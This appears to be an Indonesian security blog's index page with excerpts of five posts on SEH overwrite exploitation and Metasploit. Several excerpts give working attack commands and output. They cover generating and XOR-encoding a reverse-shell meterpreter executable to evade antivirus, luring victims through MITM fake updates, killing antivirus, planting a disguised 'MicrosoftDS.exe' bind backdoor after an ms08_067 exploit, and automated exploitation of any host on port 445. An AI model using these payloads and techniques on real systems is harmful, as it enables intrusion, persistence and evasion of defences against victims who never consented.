SEH Overwrite for n00b

Baru-baru ini disalah satu forum yang membahas security ada diskusi mengenai SEH overwrite, SEH overwrite merupakan salah satu metode favorite yang umum digunakan untuk meng-eksploitasi aplikasi dalam sistem operasi Microsoft Windows. Dan berhubung ini adalah malam minggu (hey…what’s the correlation??), then let’s talk about this. Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin akan dibahas pada waktu yang lain, yang pasti SEH (Structure Exception Handle) merupakan salah satu teknologi yang diusung oleh sistem operasi Microsoft Windows dan dapat dimanfaatkan untuk proses eksploitasi suatu bug, khususnya stack based memory corruption. Bisa dibilang SEH overwrite merupakan tehnik yang melibatkan bug aplikasi dilingkungan stack. Prinsipnya adalah, jika kita bisa membuat suatu aplikasi crash, dan crash tersebut berada di lingkungan stack (contoh: stack-based buffer overflow), dan ketika aplikasi crash ternyata struktur rantai SEH (SEH chain) bisa di-overwrite, maka kemungkinan besar kita bisa mengambil alih sistem dengan memanfaatkan tehnik SEH Overwrite. Aplikasi yang akan digunakan sebagai target adalah EFS Easy Chat Server, kalian bisa melihat contoh exploitnya disini, dan mendownload aplikasi yang vulnerable-nya disini. Saya ambil contoh aplikasi ini dengan anggapan paling mudah menunjukan proses SEH overwrite pada bug aplikasi tersebut, dan dari hasil percobaan terhadap beberapa sistem operasi (Windows 2000 – Windows XP SP3) menunjukan hasil yang stabil, sehingga cocok untuk dijadikan contoh artikel. Jika kita lihat beragam exploit jadi untuk aplikasi ini maka semua akan terlihat mudah, untuk itu kita akan beranggapan exploit yang bersifat RCE (Remote Code Execution) belum diketahui. Satu-satunya advisories dan mungkin exploit yang beredar adalah metode DOS, dalam arti server akan crash dan shutdown, seperti contoh exploit ini. Sebagai informasi, ketika suatu bugs ditemukan maka 2 pihak akan menyatakan bahwa bugs tersebut tidak bisa di-eksploitasi untuk mendapatkan RCE, yaitu vendor (umumnya berhubungan dengan bug sistem operasi) dan pendatang baru di bidang exploitasi. Memang benar tidak semua bug bisa dimanfaatkan untuk mendapatkan shell, namun umumnya ketika...
Read More of SEH Overwrite for n00b

Metasploit’s LIB

Baru-baru ini saya membaca blog dari Matasano setelah cukup lama mereka ‘idle’ dari menulis blog. Blog yang ditulis oleh eric monti tersebut cukup menarik, intinya adalah membahas penggunaan Ruby sebagai tools untuk proses penetration testing. Silahkan dibaca secara lengkap mengenai tools tersebut. Well, eric monti bukan yang pertama. Semakin banyak pihak (baik individu maupun team) yang menggunakan ruby dalam bidang security saat ini, alasan utama karena ruby powerfull dan membuat nyaman programmer saat menyusun barisan-barisan code. Ronin juga termasuk salah satu pengikut aliran ruby untuk penetration tools. Pengikut aliran fanatisme yang kebetulan penggila metasploit biasanya akan berpikir bahwa project-project lain hanya berusaha mengikuti jejak metasploit, ataupun minimal terinspirasi oleh project metasploit. Dan HDM pernah menyebutkan bahwa metasploit di klaim sebagai project ruby terbesar saat ini. Saya pribadi tidak begitu peduli dengan berbagai macam aliran atau fanatisme, namun cukup yakin bahwa metasploit merupakan framework opensource terlengkap dalam hal pengembangan exploit untuk saat ini. Walaupun bagi para security consultan yang sudah mencicipi lezatnya core impact ataupun immunity canvas akan menilai bahwa metasploit framework berusaha mengikuti jejak kedua project tersebut, tetap saja pengaruh opensource pada suatu project akan memberikan peningkatan kreativitas yang signifikan. Alasannya jelas karena opensource mendapatkan ide-ide kreativitas dari masyarakat seluruh dunia.  Oke, cukup bicara mengenai perbandingan. Kita sering melihat pada berbagai forum ataupun mailing list dibahas mengenai metasploit sebagai alat untuk exploitasi. Updatenya ditunggu-tunggu, apalagi versi barunya. Sebetulnya tidak salah, namun itu berarti kita hanya memanfaatkan sebagian dari kemampuan penuh metasploit framework. Kita hanya memanfaatkan ‘metasploit’-nya, belum ‘framework’-nya. Mungkinkah karena tidak ada lagi hal yang membuat seseorang menjadi tertantang untuk melakukan eksplorasi? Inikah hasil dari kemudahan konsep framework dan object-oriented programming? – Taken from somewhere – Hm, agree, but not fully. Bentuk framework memang berpotensi untuk menyesatkan para pendatang baru, namun merupakan suatu seni tersendiri bagi yang tertarik untuk memanfaatkannya secara penuh. Sistem operasi dan Aplikasi user saat ini...
Read More of Metasploit’s LIB

.fun and profit with meterpreter.

.so lets make ur choice kiddo,dengan mengacu sebelumnya pada artikel. .meterpreter non encode. [email protected]:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 X > meterpreter_1.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 278 Options: LHOST=192.168.0.12,LPORT=455 http://www.virustotal.com/analisis/4b0a655b264b23b2f4dab74688c8890e Result: 1/39 .meterpreter with encode XOR. [email protected]:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 R | ./msfencode -e x86/shikata_ga_nai -b '' -t exe -o meterpreter_2.exe [*] x86/shikata_ga_nai succeeded, final size 306 http://www.virustotal.com/analisis/cbb1cf1a7ce9943c5d8d15f210da8361 Result: 0/39 (0%) msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.0.12 LHOST => 192.168.0.12 msf exploit(handler) > set LPORT 455 LPORT => 455 msf exploit(handler) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler... .next move is critical,well sekarang attacker membuat target agar mengeksekusi meterpreter_2.exe sebeneranya ini tergantung imajinasi anda sendiri. .penulis sendiri memilih ettercap sebagai jembatan menggunakan metode MITM. bisa dengan ettercap filter yang akan membuat popup setiap target melakukan browsing. .ataupun dengan kombinasi evilgrade( www.infobyte.com.ar )+ettercap dengan DNS spoofing secara tidak langsung akan mengelabui target untuk melakukan fake patch untuk beberapa program yang ada di evilgrade exam: winamp,winzip,notepad++ bisa juga menambahkan modul tersendiri di evilgrade; firefox ataupun thunderbird (-.-)”. .setelah target mengeksekusi meterperter_2.exe. [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (192.168.0.12:455 -> 192.168.0.5:1037) meterpreter > sysinfo Computer: PENTEST3 OS : Windows XP (Build 2600, Service Pack 3). .with remote desktop. .there is for Virtual Network Computing look, im prefer CLI than GUI (^^)V. meterpreter > run getgui -----------------passing------------------------ .kill AV. meterpreter > run killav [*] Killing Antivirus services on the target... .ok bisa juga dengan mengedit killav.rb untuk menambahkan beberapa list AV tersendiri. [email protected]:~# vi /pentest/exploits/framework3/scripts/meterpreter/killav.rb # # Meterpreter script that kills all Antivirus processes # Provided by: Jerome Athias # print_status("Killing Antivirus...
Read More of .fun and profit with meterpreter.

Metasploit: Backdooring

Mungkin sebagian sudah ada yang tahu bahwa metasploit dapat digunakan untuk membuat backdoor, pernah juga disinggung pada toket edisi new year 2009. Penggunaan backdoor ini sangat berguna terutama sebagai post-exploitation method. Pada contoh kali ini kita akan memanfaatkan 2 metode dasar mendapatkan shell dari target, yaitu bind_tcp dan reverse_tcp. Untuk bind_tcp, backdoor akan dijalankan pada terget dimana target akan membuka port pada sistemnya sendiri. Sehingga setelah proses exploitasi selesai, kita dapat masuk kapan saja ke target dengan memanfaatkan port yang telah dibuka oleh backdoor tersebut. $ ./msfpayload windows/meterpreter/bind_tcp LPORT=4321 RHOST=10.10.96.143 EXITFUNC=thread X > MicrosoftDS.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/bind_tcp Length: 307 Options: LPORT=4321,RHOST=10.10.96.143,EXITFUNC=thread Backdoor tersebut akan membuka port 4321 pada target 10.10.96.143. Bagaimana proses menjalankan backdoor tersebut terserah kita, bisa jadi backdoor ditanam dan dijalankan setelah proses exploitasi selesai terhadap target seperti berikut: msf exploit(ms08_067_netapi) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:English [*] Selected Target: Windows XP SP0/SP1 Universal [*] Triggering the vulnerability... [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Meterpreter session 3 opened (10.10.97.14:31338 -> 10.10.96.143:4780) meterpreter > cd meterpreter > pwd C: meterpreter > upload MicrosoftDS.exe [*] uploading : MicrosoftDS.exe -> MicrosoftDS.exe [*] uploaded : MicrosoftDS.exe -> MicrosoftDS.exe meterpreter > execute -f MicrosoftDS.exe -H Process 2348 created. Pada saat berikutnya, kita dapat masuk ke mesin target tanpa melakukan exploitasi ulang, cukup dengan membuka koneksi pada port yang telah didefinisikan berikutnya. msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(handler) > set LPORT 4321 LPORT => 4321 msf exploit(handler) > set RHOST 10.10.96.143 RHOST => 10.10.96.143 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler [*]...
Read More of Metasploit: Backdooring

Metasploit dan AutoPwn

Klo kata anak-anak underground dan para blackhat, tehnik auto-exploitation metasploit termasuk lame. Biar bagaimanapun juga metasploit merupakan tools yang didevelop untuk aktivitas penetration testing. Semua dokumentasinya pun selalu membatasi agar proses penetration testing dengan menggunakan metasploit dilakukan secara legal. Walaupun, banyak yang menggunakan isi metasploit untuk hal-hal yang jauh lebih mengerikan lagi, salah satunya adalah worm sasser beberapa tahun lalu yang menggunakan payload dari metasploit (port 4444) untuk exploitasi service lsass Microsoft Windows. Implementasi autopwn metasploit cukup mudah dilakukan, daripada kita melakukan nmap secara manual dan mencoba satu per satu dari msfconsole untuk suatu exploit, dengan memanfaatkan AutoPwn metasploit proses ini bisa dilakukan secara otomatis. Pada pemanfaatan lebih lanjut kita bisa mengembangkan proses scanning yang dilakukan hingga bersifat spesifik (servis tertentu, sistem operasi tertentu, dll), namun untuk contoh kali ini dilakukan secara sederhana menggunakan target apapun yang terbuka pada port 445 (hayooo, service apa yang membuka port 445?). msf > version Framework: 3.3-dev.5962 Console  : 3.3-dev.6039 msf > load db_postgres [*] Successfully loaded plugin: db_postgres msf > db_create autopwn.db ERROR:  table "hosts" does not exist NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id" NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts" NOTICE:  CREATE TABLE / UNIQUE will create implicit index "hosts_address_key" for table "hosts" ERROR:  table "services" does not exist NOTICE:  CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id" NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "services" ERROR:  table "vulns" does not exist NOTICE:  CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vulns.id" NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vulns" ERROR:  table "refs" does not exist NOTICE:  CREATE TABLE will create implicit sequence "refs_id_seq" for serial column "refs.id" NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table...
Read More of Metasploit dan AutoPwn